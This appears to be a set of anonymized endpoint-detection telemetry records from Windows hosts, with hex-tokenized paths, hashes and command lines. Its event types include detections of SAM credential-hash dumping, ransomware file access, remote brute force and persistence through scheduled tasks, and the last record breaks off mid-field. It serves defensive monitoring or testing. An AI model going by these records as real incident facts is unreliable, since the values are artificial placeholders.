-{"event_simpleName":"PackedExecutableWritten","ConfigStateHash":"50820000","ContextProcessId":"600400303060","aip":"216.160.83.56","FileSubType":"1","SHA256HashData":"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"66","name":"e1363774d0bedd151e540a3f0","EventOrigin":"1","id":"46fbd2ea624c1d37a02f228b5e07a641ba5d","EffectiveTransmissionClass":"3","aid":"827afde25ba0eeda5d204a68ff612048","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll"} -{"FileOperatorSid":"S-67387-98466-95492-13435-71780-89109-76365","ContextBaseFileName":"8bccb383613c62792a","FileCategory":"2","Size":"90700","ContextThreadId":"599818020897405","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\3fcf5e12","id":"e3b7d2a5cd6687e005e8d8440762de1a5cba","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PdfFileWritten","ContextTimeStamp":"1749743187.245","ConfigStateHash":"3000500100","ContextProcessId":"90797090022909","IrpFlags":"0","AuthenticationId":"107430","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"0ae43bcd866d0651b","OperationFlags":"0","aid":"972c7871709024649af8a061337fe15f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf"} -{"FileOperatorSid":"S-75678-67909-19006","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"6","Size":"36724","ModuleCharacteristics":"800","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073","event_platform":"Win","TokenType":"1","ImageCheckSum":"0","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","ImageSubsystem":"2","id":"d5f767539bfcb8d8aede98bf95736a049e78","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PeFileWritten","ContextTimeStamp":"1752518074.515","UserName":"a7d64dd9c23669","ConfigStateHash":"90089570","IsTransactedFile":"0","ContextProcessId":"3097482600003","IrpFlags":"0","ImageEntryPoint":"4040","SHA256HashData":"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0","AuthenticationId":"830","ContextImageFileName":"\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DllCharacteristics":"0","IsOnRemovableDisk":"0","ImageTimeStamp":"2526530060","Entitlements":"16","name":"5f323af958b5a344","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe"} -{"event_simpleName":"PeVersionInfo","ConfigStateHash":"30820000","aip":"89.160.20.112","SHA256HashData":"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78","ConfigBuild":"2c8b.4.ae3729d.e6","VersionInfo":"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937","CompanyName":"48fd8e96569f1cb4","FixedFileVersion":"81.2.69.142","event_platform":"Win","OriginalFilename":"71f2cbc28fc61e5b304e","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe","FileVersion":"81.2.69.192","Entitlements":"16","name":"510aa45e1032311","EventOrigin":"45","id":"51fdaf250bbe8ba7a3d2f76e5160dbcf2719","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","LanguageId":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"266500049070090","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"PrivilegedProcessHandleFromUnsignedModule","ContextTimeStamp":"1751718895.992","ConfigStateHash":"3440491101","ContextProcessId":"8080063970217","SHA256HashData":"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5","ExtendedKeyUsages":"1","FileSigningTime":"1601400887.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"3542590006570","DesiredAccess":"5900","ImageFileName":"\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe","Entitlements":"86","name":"891d960d630f07080d2bbd00503c6ca04d9007b20af","aid":"6b6c287c6e8ce2041ce47a740e621689","SignInfoFlags":"932000","Object1Type":"81030550010000800400","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} -{"event_simpleName":"ProcessExecOnPackedExecutable","ConfigStateHash":"550603001","ContextProcessId":"2492243565020","aip":"89.160.20.112","FileSubType":"4","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"1080047380010","Entitlements":"96","name":"deb18e9d761c09c713b0634dc553304","EventOrigin":"1","id":"17ef479f49727073c1afd6d8d3ede95a561e","EffectiveTransmissionClass":"3","aid":"2aff58e38d0a0bf09e91cfee7bcb819e","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ProcessExecOnSMBFile","UserName":"601f56394305","ConfigStateHash":"3030480009","ContextProcessId":"2002000091665","aip":"89.160.20.112","LogonDomain":"6e","AuthenticationId":"30409004030","UserPrincipal":"testuser@test.com","UserSid":"S-70019-66419-130-71535-26067-98292-95578","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PatternId":"459","ClientComputerName":"1a241b813c0288","Entitlements":"36","name":"8f744680ad930347c854bf","EventOrigin":"1","id":"0b8735c9a332451c9040cce79b716849ed11","EffectiveTransmissionClass":"3","aid":"b956f48020b41a099bfc062444b8ea38","RemoteAddressIP4":"81.2.69.144","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ProcessCreateFlags":"4","IntegrityLevel":"90902","ParentProcessId":"3000051703140","SourceProcessId":"8000051703140","aip":"81.2.69.142","SHA1HashData":"9692067083780606753097782045800757094700","UserSid":"S-62374-88856-1334","event_platform":"Win","TokenType":"1","ProcessEndTime":"","AuthenticodeHashData":"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4","ParentBaseFileName":"bce7ccba7d55464cc50","EventOrigin":"1","ImageSubsystem":"2","id":"36f0bb29be278fc8322806730ffa12e53207","EffectiveTransmissionClass":"3","SessionId":"0","Tags":"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2","timestamp":"1743508799999","event_simpleName":"ProcessRollup2","RawProcessId":"10603","ConfigStateHash":"710307050","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331","ProcessSxsFlags":"26","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","WindowFlags":"274","CommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5","ParentAuthenticationId":"830","TargetProcessId":"8200110794047","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","SourceThreadId":"400901163020000","Entitlements":"46","name":"f9ba95e9061aae4be","ProcessStartTime":"1745988595.443","ProcessParameterFlags":"41103","aid":"40b756af7c1d76ef66cb380d94090915","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ProcessSelfDeleted","ContextTimeStamp":"1748026781.961","ConfigStateHash":"5080600092","ContextProcessId":"8008070284808","SourceProcessId":"8020239020790","aip":"81.2.69.144","SHA256HashData":"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"5100718000400","ImageFileName":"\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe","Entitlements":"16","name":"1a4daccccece9ef5ba96","EventOrigin":"1","id":"37ea1966fb73e596eaceeeda74969e0cf6fe","EffectiveTransmissionClass":"2","aid":"4a13114d95ed726004929f3de3863e97","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"RansomwareFileAccessPattern","ConfigStateHash":"7800020060","ContextProcessId":"1005300580270","SourceFileName":"\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf","aip":"89.160.20.112","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","PatternId":"684","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","Entitlements":"36","name":"678e528c681bbe14db4667945d920","EventOrigin":"1","ClientId":"81","id":"791f3434f4eb1f2494635bfa6c51a2855d12","EffectiveTransmissionClass":"3","aid":"ce205ce972e1ec0b34c552d96f46397a","Tags":"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql"} -{"Options":"90328446","ContextThreadId":"344002022970675","MinorFunction":"0","aip":"89.160.20.112","BoundingLimitCount":"1","Information":"1","FileIdentifier":"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612","event_platform":"Win","ShareAccess":"7","EventOrigin":"1","id":"13e038874f0490733a5191031434b8657382","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"RansomwareOpenFile","ContextTimeStamp":"1751029020.082","ConfigStateHash":"9250777000","ContextProcessId":"7701685113510","IrpFlags":"2500","ConfigBuild":"2c8b.4.bab7095.e6","MajorFunction":"0","DesiredAccess":"5750008","BoundingLimitDuration":"5486640","Entitlements":"26","name":"4c8f7117e5d227bf9ddc","OperationFlags":"0","aid":"ea08505420aa828a0a52a6eed3c8a196","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"} -{"ContextThreadId":"98420079085202","aip":"89.160.20.112","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a","RegClassificationFlags":"454","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"2e723341d059eefec4c8ff3c9062764c68e3","EffectiveTransmissionClass":"3","RegStringValue":"1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1","timestamp":"1743508799999","event_simpleName":"RegGenericValueUpdate","ContextTimeStamp":"1761698586.458","ConfigStateHash":"3440491101","ContextProcessId":"2090006508607","RegType":"7","RegClassificationIndex":"430","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"ee0bc2006c367f53b607da1122e","RegClassification":"806","Entitlements":"66","name":"0e92d5a77de501c1f1c9064","aid":"52cf03e6cbd930e0081ab561b4366e03","cid":"4092825518eaf67377a6e4492ae44577"} -{"TemplateInstanceId":"10229","aip":"81.2.69.142","RegClassificationFlags":"1","RegObjectName":"\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"2","event_platform":"Win","PatternId":"24871","EventOrigin":"1","id":"46ae86d862c2856f051da60792378c9a659e","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"RegistryOperationDetectInfo","ConfigStateHash":"6000088020","TemplateDisposition":"40","ContextProcessId":"209450604006","RegClassificationIndex":"3","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"d4ae4138ea91","CommandLine":"54d\\9134161b\\b169fe25\\d528e266.exe\"","RegClassification":"40","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe","Entitlements":"86","name":"ac9954e67836781b8f5b89ec31d8d","aid":"8b6270fbf7dd1d35cb564438ccd92475","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"700420809200030","aip":"81.2.69.192","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"RemoteBruteForceDetectInfo","UserName":"","ConfigStateHash":"6870020050","ContextProcessId":"25700434000","LogonType":"3","aip":"81.2.69.144","LogonDomain":"","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"82\\340d600\\4a6a0a4b\\4cdbc.exe","TotalCount":"4051","PatternId":"200","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe","Entitlements":"66","name":"35b635ba0a924203f13f0a9f8f7d","EventOrigin":"1","id":"2e41e2c0447e07249a69dbdc70a72aec40d4","EffectiveTransmissionClass":"3","aid":"a72936ae0acff156c05af8238b6a10eb","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"VolumeSessionUUID":"c8838ad8-1da8-43ae-8c85-3c2309eab164","ContextThreadId":"300005906805","aip":"81.2.69.192","VolumeMountPoint":"\\e2\\cf8397ea","VolumeDriveLetter":"4e","event_platform":"Win","VolumeDeviceObjectFlags":"0","VolumeFileSystemDevice":"\\ddc","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\6b634d3d\\7a5851b","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","VolumeDeviceCharacteristics":"100402","id":"5762ba1aab05fd80cadfb13f146bc3ce868c","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RemovableMediaVolumeMounted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1751260262.872","VolumeSectorSize":"940","ConfigStateHash":"8090285900","ContextProcessId":"655070024024","VolumeRealDeviceName":"\\6ba0bd\\257d4e13","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"3","IsOnRemovableDisk":"1","Entitlements":"96","name":"b47570143699a945cde3e5764a9843","aid":"6d58dee7855f7a94dc887ec52805de46","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-49065-57943-32307","ContextBaseFileName":"6866e9cdd4c02","FileCategory":"2","Size":"507310","ContextThreadId":"1006000509974","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\dc08d203\\6d4a9f57","id":"a6c319e36889013fd1a9cb1e28db73a2d47b","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RtfFileWritten","ContextTimeStamp":"1756008851.353","UserName":"352ad1966","ConfigStateHash":"30820000","ContextProcessId":"600400303060","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"8486640","Entitlements":"86","name":"e5968210c929a23b0","OperationFlags":"0","aid":"827afde25ba0eeda5d204a68ff612048","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf"} -{"KeyObject":"70075630231265270000","ContextThreadId":"40890360000294","aip":"81.2.69.192","PublicKeys":"0","RegPostObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5","RegKeyName":"","event_platform":"Win","EventOrigin":"1","id":"4cd0f3ad236f3d16670462b9d7b5bb5c129a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"SAMHashDumpFromUnsignedModule","ContextTimeStamp":"1757470178.153","ConfigStateHash":"770065302","ContextProcessId":"9083291189505","RegRootObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771","SHA256HashData":"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe","ExtendedKeyUsages":"1","RegCreateDisposition":"2","FileSigningTime":"1653525170.000","ConfigBuild":"2c8b.4.ae3729d.e6","DesiredAccess":"106086","ImageFileName":"\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe","Entitlements":"66","name":"cece108ee2dfd89f1ac8e4648ab61ed","RegCreateOptions":"0","aid":"1085124e43b788dc1142faa8282f3160","SignInfoFlags":"107067","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} -{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4004620865900","id":"6df4383ea32ec03f3e4d828c8771350c6861","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskDeleted","ContextTimeStamp":"1753865664.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"60255","ContextProcessId":"6804094900076","RpcClientThreadId":"724002090409000","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"bd3d6bea\\9af0ff\\29eab3a3","RpcOpNum":"30","Entitlements":"66","name":"4996adce55e68cf01c05c7","aid":"4b4df0f0e24c600fcc98e7444c1af658","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"81.2.69.192","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"3887070022276","id":"43b952c0225cd04c3a42b9e4b7264eecca9d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskModified","ContextTimeStamp":"1747937437.152","UserName":"057bcb1d4","ConfigStateHash":"9080600092","InterfaceVersion":"80255","ContextProcessId":"9000002203869","RpcClientThreadId":"799160078000747","TaskXml":"4a199d96.com/windows/2004/02/mit/task\">\r\n \r\n FSSB0930$\r\n \\c7bac469\\d598026\\1f6f4b17\\7e6a0826","TaskAuthor":"057bcb1d4","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\d598026\\1f6f4b17\\4e7075fa","RpcOpNum":"1","Entitlements":"26","name":"569b2099134ca0f589a09d0","TaskExecArguments":"/650a61d7","aid":"096a526846b73e64ffebbc72ded8f018","TaskExecCommand":"fa692415fa9d","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4950486027003","id":"c7674af79959a3dacc5f7ca39360a5e76431","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskRegistered","ContextTimeStamp":"1755302168.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"50255","ContextProcessId":"6804094900076","RpcClientThreadId":"900200906000878","TaskXml":"3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe\r\n /checkin\r\n \r\n \r\n","TaskAuthor":"033b4ae8791399a8","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\9e380d\\9eba707b","RpcOpNum":"1","Entitlements":"96","name":"2a8048a7af2ffa0cde48ccc43","TaskExecArguments":"/0630e40","aid":"4b4df0f0e24c600fcc98e7444c1af658","TaskExecCommand":"82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ScreenshotTakenEtw","RawProcessId":"98380","ContextTimeStamp":"1759662246.104","UserName":"b2a353ab","ConfigStateHash":"710307050","ContextProcessId":"1700783090940","ProcessStartKey":"6502302011800406","aip":"81.2.69.142","ScreenshotType":"1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26","ImageFileName":"\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe","Entitlements":"16","name":"a476a54b92f13dc913cf","EventOrigin":"1","RawThreadId":"9080","id":"3e6d517e7aca78f0cf93da20fe86adf5f9ab","PerformanceCounter":"d6c4254eed13d596","EffectiveTransmissionClass":"3","aid":"24840a73a08a136ac2e3a204a6371f8f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ScriptControlErrorEvent","ContextTimeStamp":"1752017032.509","ConfigStateHash":"3440491101","ContextProcessId":"109050000055","ContextThreadId":"883457700032905","Parameter64_3":"0","aip":"89.160.20.128","Parameter64_2":"8206700950","Parameter64_1":"0","ScriptControlErrorCode":"3","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"345e60fd50e3d887337d0b2b9","EventOrigin":"1","id":"7e63b76986f72b1aa2e6038707b440ac2bd2","EffectiveTransmissionClass":"0","aid":"5646c890ca4b0ac33c1cfa27264240b6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ScriptContent":"8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f","OriginalContentLength":"103","ContextThreadId":"700600800020030","ScriptingLanguageId":"4","aip":"216.160.83.56","ParentImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe","GrandparentImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","event_platform":"Win","ScriptContentName":"\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs","HostProcessType":"4","EventOrigin":"1","id":"42432e4ab526161b012bf9090bfa8e7f7c50","ParentCommandLine":"82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"ScriptControlScanTelemetry","ContextTimeStamp":"1760811911.783","ConfigStateHash":"8504003003","ContextProcessId":"2579509200600","ContentSHA256HashData":"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284","GrandparentCommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 